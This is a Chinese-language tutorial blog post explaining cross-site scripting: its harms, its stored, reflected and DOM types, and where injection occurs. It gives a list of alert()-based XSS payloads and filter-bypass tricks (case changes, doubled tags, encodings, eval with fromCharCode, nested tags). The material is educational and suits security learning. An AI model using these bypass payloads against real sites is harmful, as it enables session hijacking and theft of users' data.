XSS详解(常见的构造注入位置示例)

目录

概念

XSS造成的危害

用户数据泄露:

会话劫持:

钓鱼攻击:

恶意重定向:

修改页面内容:

执行恶意操作:

传播恶意软件:

影响网站声誉:

法律和合规风险:

XSS分类

存储型XSS(Stored XSS):

反射型XSS(Reflected XSS):

基于DOM的XSS(DOM-Based XSS):

常见的XSS的payload构造及绕过

绕过技巧

使用多种编码

利用混淆和分割

逃避过滤器

动态生成

嵌套标签

使用注释符绕过

常见注入点及其位置

表单输入字段:

URL参数:

HTTP请求头:

评论和留言板:

动态生成的内容:

放置位置示例

HTML表单字段:

URL参数:

JavaScript上下文:

事件处理程序:

SVG和其他特殊标签:


概念


跨站脚本攻击(Cross-Site Scripting,简称XSS)是一种代码注入攻击,攻击者通过在目标网站中注入恶意脚本,使之在用户的浏览器上执行,从而窃取用户的敏感信息、劫持用户会话、进行钓鱼攻击等。XSS漏洞通常是通过PHP的输出函数将Javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。

XSS造成的危害

用户数据泄露:

攻击者可以通过XSS窃取用户的敏感信息,如登录凭证、银行账户信息、个人数据等。
恶意脚本可以访问页面上的所有内容,包括用户输入的表单数据、Cookie、Local Storage等,从而窃取用户的隐私信息。


会话劫持:

攻击者可以窃取用户的会话Cookie,从而冒充用户进行未授权操作。
一旦获得用户的会话Cookie,攻击者可以登录用户的账户,进行恶意操作,如转移资金、修改账户信息等。


钓鱼攻击:

攻击者可以通过XSS向用户展示伪造的登录页面或表单,诱导用户输入敏感信息。
用户在不知情的情况下提交的敏感信息会直接发送给攻击者,导致信息泄露。


恶意重定向:

恶意脚本可以将用户重定向到攻击者控制的钓鱼网站或恶意网站,进一步进行攻击。
用户可能会被诱导下载恶意软件或输入敏感信息。


修改页面内容:

攻击者可以通过XSS修改网页内容,显示虚假的信息,欺骗用户。
例如,攻击者可以修改电商网站的商品价格、描述,诱导用户进行错误的购买决策。


执行恶意操作:

恶意脚本可以自动执行用户授权的操作,如发送消息、发起交易、修改账户设置等。
攻击者可以利用这些操作进行进一步的攻击或滥用用户的账户。


传播恶意软件:

恶意脚本可以利用XSS漏洞向用户分发恶意软件,感染用户设备。
一旦设备被感染,攻击者可以远程控制设备,窃取更多信息或进行其他恶意活动。


影响网站声誉:

XSS攻击会严重影响网站的安全性和用户信任度,导致用户流失和品牌形象受损。
网站一旦被攻击,用户可能会对其安全性产生怀疑,甚至拒绝继续使用该网站。


法律和合规风险:

如果网站因XSS漏洞导致用户信息泄露,可能会面临法律诉讼和罚款。
网站运营者需要承担法律责任,遵守相关的隐私保护法规。

XSS分类

存储型XSS(Stored XSS):

概述:恶意脚本被永久存储在目标服务器上,任何访问包含这些脚本内容的用户都会执行这些恶意代码。
攻击途径:通常通过用户输入的表单、评论、帖子等方式将恶意脚本存储在服务器上。
示例:攻击者在论坛的评论区插入一段恶意脚本,当其他用户查看该评论时,恶意脚本在用户的浏览器中执行,导致用户数据被窃取。


反射型XSS(Reflected XSS):

概述:恶意脚本通过URL参数、表单提交等途径发送到服务器,并立即反射回用户的浏览器执行。
攻击途径:通常通过构造恶意URL或表单提交的方式将脚本注入,当用户访问恶意链接或提交表单时,脚本在浏览器中执行。
示例:攻击者发送一封包含恶意链接的电子邮件,用户点击链接后,脚本通过URL参数反射回页面并在用户浏览器中执行,导致用户会话被劫持。


基于DOM的XSS(DOM-Based XSS):

概述:恶意脚本不经过服务器,而是直接在客户端的DOM环境中执行,利用客户端JavaScript代码对DOM的操作。
攻击途径:通过操作DOM对象,如document.write、innerHTML等方式将恶意脚本插入页面。
示例:攻击者构造一段恶意脚本,通过JavaScript操作DOM,用户在浏览器中访问页面时,脚本直接在客户端执行,导致用户数据被窃取。

常见的XSS的payload构造及绕过

基础XSS Payload

<script>alert('XSS')</script>

大小写绕过(随机选择改写)

<Script>alert(1)</script>

双写绕过

<sc<script>alert(1)</script>


HTML属性注入

<img src=x onerror=alert('XSS')>


事件处理程序注入

<body onload=alert('XSS')>


URL编码注入

<img src=javascript:alert('XSS')>


SVG注入

<svg onload=alert('XSS')></svg>

绕过技巧

使用多种编码

URL编码:

<img src=%6a%61%76%61%73%63%72%69%70%74:alert('XSS')>


Unicode编码:

<img src=javascript&#58;alert('XSS')>


利用混淆和分割

将payload分割成多个部分:

<img src="java" + "script:alert('XSS')">


逃避过滤器

利用HTML实体编码:

<img src=javascript:alert(&#39;XSS&#39;)>


动态生成

利用DOM属性动态生成:

<img src="javascript:eval('alert(String.fromCharCode(88,83,83))')">


嵌套标签

在标签内部嵌套其他标签:

<<img src="x" onerror="alert('XSS')">img src="x">


使用注释符绕过

利用HTML注释符:

<img src="x" onerror="alert('XSS')"><!-- -->

常见注入点及其位置

表单输入字段:

攻击者可以在HTML表单的输入字段中插入恶意脚本。这些输入字段包括文本框、文本区域等。

<input type="text" name="username" value="<script>alert('XSS')</script>">


URL参数:

攻击者可以在URL参数中注入恶意脚本,当参数值反射回页面时,脚本就会执行。

http://example.com/search?q=<script>alert('XSS')</script>


HTTP请求头:

攻击者可以在HTTP请求头中注入恶意脚本,例如通过修改Referer或User-Agent头。

GET / HTTP/1.1
Host: example.com
User-Agent: <script>alert('XSS')</script>


评论和留言板:

攻击者可以在评论或留言板中插入恶意脚本,这些内容会被存储在服务器上,并在页面加载时执行。

<textarea name="comment"><script>alert('XSS')</script></textarea>


动态生成的内容:

攻击者可以通过脚本注入动态生成的内容,影响所有访问该内容的用户。

<div>
  <script>alert('XSS')</script>
</div>


放置位置示例


HTML表单字段:

恶意脚本可以直接插入表单字段中,当表单被提交并显示在页面上时,脚本会执行。

<form action="/submit" method="post">
  <input type="text" name="name" value="<script>alert('XSS')</script>">
  <input type="submit">
</form>


URL参数:

恶意脚本通过URL参数注入,当服务器将参数值反射到页面时,脚本会执行。

<a href="http://example.com/search?q=<script>alert('XSS')</script>">Search</a>


JavaScript上下文:

恶意脚本可以插入到JavaScript代码中,例如在动态生成HTML内容时。

<script>
  var userInput = "<script>alert('XSS')</script>";
  document.write(userInput);
</script>


事件处理程序:

恶意脚本可以通过HTML标签的事件处理程序属性注入。

<img src="x" onerror="alert('XSS')">


SVG和其他特殊标签:

恶意脚本可以利用SVG标签等特定标签注入。

<svg onload="alert('XSS')"></svg>

  • 50
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值